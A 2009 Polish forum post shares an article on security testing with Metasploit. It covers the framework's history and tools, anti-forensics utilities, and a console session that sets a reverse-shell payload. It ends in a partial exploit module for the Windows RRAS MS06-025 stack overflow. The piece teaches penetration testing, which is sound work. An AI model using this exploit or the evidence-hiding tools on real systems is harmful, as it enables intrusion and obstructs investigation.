Internetowe Forum Archiwalne

Internetowe Forum Archiwalne => Help desk => Wątek zaczęty przez: Grzegorz Gałęzowski w Sierpień 12, 2009,

Tytuł: Testy aplikacji
Wiadomość wysłana przez: Grzegorz Gałęzowski w Sierpień 12, 2009,
Ze względu na przygotowywaną politykę bezpieczeństwa, postanowiłem zaprezentować swój artykuł na temat testowania bezpieczeństwa aplikacji. Mam nadzieję że informacje tutaj zawarte pomogą w przyszłości testować aplikacje, które będą wykorzystywane w jednostkach AP.

http://rapidshare.com/files/266639648/galezowski_msf.pdf.html (http://rapidshare.com/files/266639648/galezowski_msf.pdf.html)

Wytworzenie idealnego oprogramowania wciąż pozostaje marzeniem trudnym do zrealizowania. Pomimo rygorystycznego i systematycznego testowania, większość zarówno dużych, jak i nawet małych programów zawiera duże liczby błędów. Przyczyną tego jest złożoność ich kodów źródłowych.

Testy bezpieczeństwa aplikacji z wykorzystaniem MSF

Program zbudowany z zaledwie kilkuset linijek może zawierać dziesiątki rozkazów umożliwiających wystąpienie tysięcy różnych błędów. Najgorsza sytuacja występuje w przypadku programów kontrolujących krytyczne procesy. Kod takiej aplikacji może zawierać od dziesiątków do milionów linii kodu źródłowego. Aplikacja taka może podjąć błędną decyzję, gdy przypadkowy układ sygnałów, który do niej doprowadzi, nie został dostatecznie przetestowany. Programista mógł prawidłowo zaprojektować złą reakcję lub w ogóle nie przewidzieć wystąpienia danej sytuacji. Ten typ defektu programu jest najtrudniejszy do całkowitego wyeliminowania.
Jak poważne konsekwencje mogą wywołać źle napisane programy, niech posłużą temu poniższe przykłady.
Niepowodzenia rakiet Patriot przy przechwytywaniu irackich rakiet Scud przypisano efektom nagromadzenia się niedokładności w pracy wewnętrznego zegara komputera. Komputer działał zgodnie z przyjętymi założeniami przewidywano, że będzie on wyłączany i włączany dostatecznie często, by kumulacja błędu nie była nigdy niebezpieczna. Ponieważ został zastosowany w sposób pierwotnie nieprzewidziany, niewielka niedokładność stała się poważnym problemem.
Jeden błędny bit w programie kontrolującym lot rakiety Atlas, która wyniosła w przestrzeń kosmiczną pierwszą amerykańską sondę międzyplanetarną Mariner 1, spowodował jej zejście z właściwego kursu. W konsekwencji zarówno rakieta, jak i sonda uległy zniszczeniu wkrótce po starcie.
Wytwarzane obecnie oprogramowanie staje się coraz bardziej złożone i coraz trudniej jest sprawić, aby było niezawodne. Testowanie kodu umożliwia szybkie wykrywanie błędów, a także kontrolę poprawnego funkcjonowania aplikacji. Dlatego ważne jest, by dostatecznie dobrze przetestować aplikację pod każdym względem, szczególnie jeżeli od jej działania zależeć będzie bezpieczeństwo i życie ludzi.
Historia Metasploit Framework (MSF)
Projekt Metasploit został pierwotnie stworzony przez czterech programistów jako sieć do testów bezpieczeństwa. Następnie był stopniowo rozwijany w ramach licencji Perl. Stabilna wersja produktu została wydana w czerwcu 2004 roku. Od tego czasu rozwój produktu oraz dodawanie nowych elementów następuje bardzo szybko.
Projekt Metasploit powstał w ramach grupy badawczej mającej zajmować się tworzeniem narzędzi związanych z bezpieczeństwem i lukami w systemach bezpieczeństwa. Najbardziej znanym projektem tej grupy jest oprogramowanie Metasploit Framework (MSF), rozpowszechniane przez głównych autorów tego projektu, którymi są programiści ukrywający się pod pseudonimami Spoonm i HD Moore, na zasadach otwartego kodu źródłowego.
MSF został pierwotnie napisany w języku skryptowym Perl i obejmował różnego rodzaju elementy napisane w języku C, asembler i Python. Licencja projektu została tak skonstruowana, że - w ramach licencji GPL v2 i Perl może być wykorzystywany zarówno w projektach open-source, jak i komercyjnych. Od wersji 3.0 MSF jest całkowicie od nowa napisany w języku Ruby i został wyposażony w szeroką gamę interfejsów API. Licencja tego produktu jest teraz bliższa tym obowiązującym w przypadku oprogramowania komercyjnego.
MSF można jednak wykorzystywać do własnego użytku, zachowano też prawo do swobodnego rozpowszechniania. Zabronione jest sprzedawanie MSF w jakiejkolwiek formie oraz integracja w pakietach komercyjnych (w oprogramowaniu, urządzeniu czy też w innej formie).
Wprawdzie początkowo w ramach tego projektu nie powstał żaden system wsparcia dla programistów, ale począwszy od wersji sytuacja się zmieniła, a wbudowana pomoc ma naprawdę szerokie możliwości.
Oprogramowanie MSF zostało stworzone, by dostarczyć programistom platformy do pisania oprogramowania wyszukującego luki w systemach bezpieczeństwa. Dzięki temu ułatwia ono ludziom zawodowo zajmującym się problemami bezpieczeństwa i badaczom szybkie pisanie odpowiednich narzędzi. Na najbardziej podstawowym poziomie system MSF dostarcza rozbudowanego interfejsu API umożliwiającego określanie różnych parametrów ataku wykrywającego lukę. Wielu spośród jego komponentów można używać wielokrotnie w różnych zestawieniach. Przykładami mogą być moduły generujące treść pakietów, przetwarzające ją, generatory NOP, biblioteki protokołów i procedury szyfrujące. Oprogramowanie MSF dostarcza szerokiego zestawu wydajnych komponentów, których można używać podczas programowania ataków testowych. Aby ułatwić szybkie tworzenie modułów i umożliwić ich wielokrotne wykorzystywanie, wszystkie komponenty pisane są w obiektowym języku Perl, wykorzystującym dynamiczne ładowanie.
Celem MSF jest umożliwienie ustawiania wartości parametrów definiowanych przez użytkownika i uruchamiania modułów testujących, tak aby móc kontrolować, w jaki sposób atak jest przeprowadzany.
Budowa Metasploit Framework
Podstawowym elementem Metasploit Framework (MSF) jest DataStore. Cały system jest logicznie podzielony na globalne elementy i moduły składowania danych.
Poniżej wymieniono najważniejsze elementy w pakiecie Metasploit:
   msfcli - interfejs poleceń, w którym wydawane są komendy wraz z opcjami,
   msfconsole - shell systemowy MSF. Oferuje dopełnianie poleceń (ang. tab completion),

-      msfdldebug - ładuje symbole debugowania dla plików systemu MS Windows,
-      msflogdump - program do analizowania logów generowanych przez MSF,
-      msfencode - testuje moduły kodujące. Dzięki niemu można zrozumieć kodowanie pakietów w MSF,
-      msfpayload - umożliwia testowanie pakietów generowanych przez moduł kodujący,
-      msfpayload.cgi - to samo co powyżej, tyle że w postaci programu CGI, który może być wykonywany z poziomu przeglądarki WWW po uprzednim umieszczeniu na serwerze Web,
-      msfpescan - narzędzie do odnajdywania dopasowań opkodów w plikach wykonywalnych Windows PE. Opkody są wykorzystywane jako instrukcje powrotne w czasie przeskakiwania do kodu powłoki,
-      msfupdate - program aktualizacyjny. Pobiera aktualizacje do oprogramowania MSF, łączy się ze stroną projektu przez protokół HTTPS.
-      msfweb - interfejs Metasploit w formie strony WWW, dostępny dla różnych przeglądarek internetowych.


Poszczególne katalogi dostępne poprzez interfejs przechowują następujące informacje:
-      /data - katalog plików związanych z obsługą treści przesyłanej w pakietach,
-      /docs - jak sama nazwa wskazuje, jest to katalog dokumentacji. W tym miejscu znajdziemy informacje na temat obsługi interfejsów i narzędzi MSF,
-      /encoders - zbiór modułów kodujących, które zajmują się obsługą danych w przesyłanych pakietach,
-      /exploits - przechowuje wszystkie testowe moduły ataków,
-      /lib - biblioteki tworzące rdzeń MSF,
-      /extra - mniej potrzebne przy pracy moduły Net-SSL i Term-ReadLine-Gnu Perl,
-      /nops - katalog z modułami, które generują bufory NOP (No Operation), wykorzystywane w atakach do zwiększenia ich odporności,
-      /payloads - moduły implementujące różne akcje, które mogą zostać wykonane w czasie ataku,
-      /sdk - ten katalog zawiera samouczek omawiający sposoby pisania modułów do nietypowych ataków,
-      /src - tutaj znajdziemy różne przykłady i inne elementy wykorzystywane przez MSF,
-      /tools- zbiór narzędzi Socket Ninja i memdump. Socket Ninja jest multiplekserowym menedżerem gniazd, a program memdump pobiera segmenty pamięci z działających procesów Windows.
MSF konkuruje bezpośrednio z takimi komercyjnymi produktami, jak Immunity's CANVAS lub Core Security Technology's Core Impact. Jednakże istnieje zasadnicza różnica pomiędzy tymi dwoma grupami pod względem funkcjonalności. Wymienione aplikacje komercyjne pozwalają w przyjazny sposób używać graficznych interfejsów użytkownika i posiadają szereg rozbudowanych możliwości raportowania. Warto jednak mieć na uwadze, że MSF jest przede wszystkim platformą do wykorzystania i opracowania nowych modułów testujących bezpieczeństwo aplikacji. Ponadto jest również platformą do projektowania narzędzi analitycznych, które umożliwiają badanie i rozwój nowych technik testowania bezpieczeństwa. Dlatego nie posiada tak rozbudowanych graficznych interfejsów, jak jego komercyjna konkurencja.
Ten system pozwala zaoszczędzić czas przeznaczony na rozwój własnych środowisk, które mogą być wykorzystane w testach penetracyjnych. Wspólne opcje mogą być definiowane w globalnym środowisku i automatycznie później wykorzystane za każdym następnym załadowaniem.
Poniższy przykład (Listing 1) pokazuje, w jaki sposób można wykorzystać parametry LPORT i LHOST.

Listing 1. Wykorzystanie parametrów LPORT i LHOST
msf > setg LPORT 1234
LPORT -> 1234
msf > setg LHOST 192.168.10.10
LHOST -> 192.168.10.10
msf > setg PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf > use apache_chunked_win32
msf apache_chunked_win32(win32_reverse) > show options
Exploit and Payload Options
===========================
Exploit: Name Default Description
-------- ------ ------- ------------------
optional SSL Use SSL
required RHOST The target address
required RPORT 80 The target port
Payload: Name Default Description
-------- -------- ------- ------------------------------------------
optional EXITFUNC seh Exit technique: "process", "thread", "seh"
required LPORT 123 Local port to receive connection
required LHOST 192.168.10.10 Local address to receive connection

Projekt Metasploit składa się nie tylko z MSF. Obecnie obejmuje on również komponenty opisane poniżej.
Metasploit Opcode Database
Ten webowy interfejs jest prawdopodobnie najbardziej kompleksową bazą dostępnych opcode, pozwala użytkownikowi na wyszukiwanie opkodów z zestawu modułów na podstawie klas opcode.
Obecnie baza danych składa się z ponad 14 mln opcodes, obejmujących 320 różnych
typów opcode i 14 systemów operacyjnych. Jest ona dostępna w Internecie pod adresem
www.metasploit.com/opcode_database.html.

W obecnej wersji w ramach msfopcode zapewniono również dostęp do interfejsu
bazy danych w trybie online bezpośrednio z linii poleceń.
Metasploit Anti-forensics
Jest to zbiór narzędzi i dokumentów, które pomogą utrudnić przeprowadzenie w stosunku do zaatakowanego systemu tzw. analizy sądowej. Narzędzia są dopuszczone jako część pakietu Metasploit Anti-Forensic Investigation Arsenal (MAFIA). W skład pakietu wchodzą:
-      Timestomp - narzędzie, które umożliwia analizę oraz modyfikowanie znaczników plików przechowywanych w systemie NTFS,
-      Slacker - narzędzie, które pozwala ukryć dane w niezapełnionym fragmencie bloku (ang. slack space) systemu plików NTFS,
-      Sam Juicer - moduł, który pozwala na odczytanie skrótów haseł z pliku SAM bez jakiejkolwiek ingerencji w dysk twardy (łącznie z odczytem).
Jednym z najciekawszych nowych dodatków do MSF od wersji 3.0 jest moduł Recon. Komponent ten, wspomagany przez Nmap i Nessus, może pomóc w identyfikacji poszczególnych hostów w sieci, uruchomionych usług, otwartych portów i dostępnych wersji. Ponadto dostępne są moduły Recon odpowiedzialne za skanowanie portów i ocenianie słabości skanowanych hostów.
Istnieje silna inicjatywa opracowania korelacji silnika, który będzie klasyfikował i koordynował informacje otrzymane z modułu Recon z wydarzeniami zachodzącymi w sieci. Na przykład, aby wykorzystywać to w sytuacjach, kiedy automatycznie zostanie wykryte zagrożenie danego portu w testowanej sieci. Dodatkowo korelacja tego silnika jest realizowana w taki sposób, że informacje na temat stanu sieci mogą być przechowywane w bazie danych.
Po zainstalowaniu MSF mamy do dyspozycji trzy środowiska pracy msfconsole, msfcli i interfejs WWW msfweb. Jednakże podstawowym (i preferowanym) obszarem roboczym MSF jest msfconsole. Jest to wydajny interfejs wiersza poleceń, który ma swój własny zestaw komend systemu i środowiska. Został zaprojektowany do uruchamiania w systemach uniksowych, takich jak Linux lub BSD, można go również uruchomić w systemie Windows poprzez środowisko Cygwin. Instalator dla wersji Windows zawiera wstępnie skonfigurowaną wersję Cygwin. Jeżeli uruchomimy konsolę i wszystko zadziała bez problemów.

Teraz wszystkie polecenia dla msfconsole są aktywne. Konsola jest bardzo elastyczna, a jeśli użytkownik wprowadzi nieznane polecenia, będą one wyszukiwane w zmiennej środowiskowej PATH i dopasowane dla każdego pliku wykonywalnego. Jeśli zostanie znaleziony pasujący plik, następuje jego wykonanie podobnie jak standardowego polecenia.
Instynktownie wpisując polecenie help, uzyskamy listę dostępnych poleceń.

RRAS Stack Overflow (Exploit, MS06-025)
Istnieje luka w zabezpieczeniach, która daje możliwość zdalnego wywołania kodu w wyniku zaatakowania usługi Routing i zdalny dostęp. Umożliwia to osobie atakującej i wykorzystującej tę lukę na uzyskanie dostępu do systemu.
Zagrożone systemy:
-      Microsoft Windows 2000 Service Pack 4,
-      Microsoft Windows XP Service Pack 1 i Microsoft Windows XP Service Pack 2,
-      Microsoft Windows XP Professional x64 Edition,
-      Microsoft Windows Server 2003 i Microsoft Windows Server 2003 z dodatkiem Service Pack 1 (także w wersji dla komputerów z procesorem Itanium),
-      Microsoft Windows Server 2003 x64 Edition
Pełny kod programu wykorzystującego lukę RRAS Stack Overflow obejrzeć można na Listingu 2.

Listing 2. Windows RRAS Stack Overflow (Exploit, MS06-025)
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::rras_ms06_025;
use base "Msf::Exploit";
use strict;

use Pex::DCERPC;
use Pex::NDR;

my $advanced = {
'FragSize' => [ 256, 'The DCERPC fragment size' ],
'BindEvasion' => [ 0, 'IDS Evasion of the Bind request' ],
'DirectSMB' => [ 0, 'Use direct SMB (445/tcp)' ],
};

my $info = {
'Name' => 'Microsoft RRAS MSO6-025 Stack Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' =>
[
'Nicolas Pouvesle <nicolas.pouvesle [at] gmail.com>',
'H D Moore <hdm [at] metasploit.com>'
],

'Arch' => ['x86'],
'OS' => [ 'win32', 'win2000', 'winxp' ],
'Priv' => 1,

'AutoOpts' => { 'EXITFUNC' => 'thread' },
'UserOpts' => {
'RHOST' => [ 1, 'ADDR', 'The target address' ],

# SMB connection options
'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ],
'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username',''],
'SMBDOM' => [ 0, 'DATA', 'The domain for specified SMB username', '' ],
'SMBPIPE' => [ 1, 'DATA', 'The pipe name to use (2000=ROUTER,
XP=SRVSVC)', 'ROUTER' ],
},

'Payload' => {
'Space' => 1104,
'BadChars' => "\x00",
'Keys' => ['+ws2ord'],

# sub esp, 4097 + inc esp makes stack happy
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
},

'Description' => Pex::Text::Freeform(
qq{
This module exploits a stack overflow in the Windows Routing and
Remote
Access Service. Since the service is hosted inside svchost.exe, a failed
exploit attempt can cause other system services to fail as well. A valid
username and password is required to exploit this flaw on Windows 2000.
When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'.
}
),

'Refs' =>
[
[ 'BID', '18325' ],
[ 'CVE', '2006-2370' ],
[ 'OSVDB', '26437' ],
[ 'MSB', 'MS06-025' ]
],

'DefaultTarget' => 0,
'Targets' =>
[
[ 'Automatic' ],
[ 'Windows 2000', 0x7571c1e4 ], # pop/pop/ret
[ 'Windows XP SP1', 0x7248d4cc ], # pop/pop/ret
],

'Keys' => ['rras'],

'DisclosureDate' => 'Jun 13 2006',
};

sub new {
my ($class) = @_;
my $self = $class->SUPER::new( { 'Info' => $info, 'Advanced' =>
$advanced }, @_ );
return ($self);
}

sub Exploit {
my ($self) = @_;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

my $FragSize = $self->GetVar('FragSize') || 256;
my $target = $self->Targets->[$target_idx];

my ( $res, $rpc );

if ( !$self->InitNops(128) ) {
$self->PrintLine("